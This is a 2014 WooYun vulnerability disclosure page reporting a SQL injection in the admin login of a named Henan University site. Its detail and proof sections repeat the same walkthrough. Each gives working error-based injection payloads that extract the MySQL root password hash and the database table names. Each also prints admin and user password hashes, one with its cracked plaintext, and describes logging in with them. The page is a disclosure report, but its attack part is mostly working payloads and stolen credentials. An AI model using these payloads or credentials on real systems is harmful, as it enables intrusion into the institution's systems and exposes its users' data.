当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066016

漏洞标题：河南大学某分站sql注射一

相关厂商：河南大学

漏洞作者： 浮萍

提交时间：2014-06-24 10:58

修复时间：2014-06-29 10:58

公开时间：2014-06-29 10:58

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-24： 细节已通知厂商并且等待厂商处理中
2014-06-29： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

手注伤不起

详细说明：

河南大学计算机与信息工程学院后台存在post登陆框注入
http://cs.henu.edu.cn/

Snap12.jpg


后台http://cs.henu.edu.cn/index.php/cs_admin/index

Snap13.jpg


输入admin'报错

Snap14.jpg


说明可能存在登陆框注入
构造代码

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#


用户名任意

Snap15.jpg


查看用户：

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user from mysql.user where host='localhost' limit 0,1))a from information_schema.tables group by a)b#


Snap16.jpg


root
查看密码

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select password from mysql.user where host='localhost' limit 0,1))a from information_schema.tables group by a)b#


Snap17.jpg


列表

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))a from information_schema.tables group by a)b#


Snap18.jpg


可以发现有这几个表

article_with_author
article_with_no_author
category
check_teacher
file
image_wall
message
power
publish
school_fellow
sheet1
stu
student
teacher
think_date
think_extra_order
think_info'
think_term
think_user
tougao
user
video


查看用户名和密码

Snap19.jpg


Snap20.jpg


用户名为admin 密码为5e883c05068f2e8dea0256325ee1b866（需付费解密）
然后又查看了一个用户
用户名dangban 密码e271caa5aa5631e459cb483518023d1b（3883169）
登录

Snap21.jpg


---------
over

漏洞证明：

Snap12.jpg


后台http://cs.henu.edu.cn/index.php/cs_admin/index

Snap13.jpg


输入admin'报错

Snap14.jpg


说明可能存在登陆框注入
构造代码

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)b#


用户名任意

Snap15.jpg


查看用户：

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user from mysql.user where host='localhost' limit 0,1))a from information_schema.tables group by a)b#


Snap16.jpg


root
查看密码

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select password from mysql.user where host='localhost' limit 0,1))a from information_schema.tables group by a)b#


Snap17.jpg


列表

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))a from information_schema.tables group by a)b#


Snap18.jpg


可以发现有这几个表

article_with_author
article_with_no_author
category
check_teacher
file
image_wall
message
power
publish
school_fellow
sheet1
stu
student
teacher
think_date
think_extra_order
think_info'
think_term
think_user
tougao
user
video


查看用户名和密码

Snap19.jpg


Snap20.jpg


用户名为admin 密码为5e883c05068f2e8dea0256325ee1b866（需付费解密）
然后又查看了一个用户
用户名dangban 密码e271caa5aa5631e459cb483518023d1b（3883169）
登录

Snap21.jpg


修复方案：

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-29 10:58

厂商回复：

最新状态：

暂无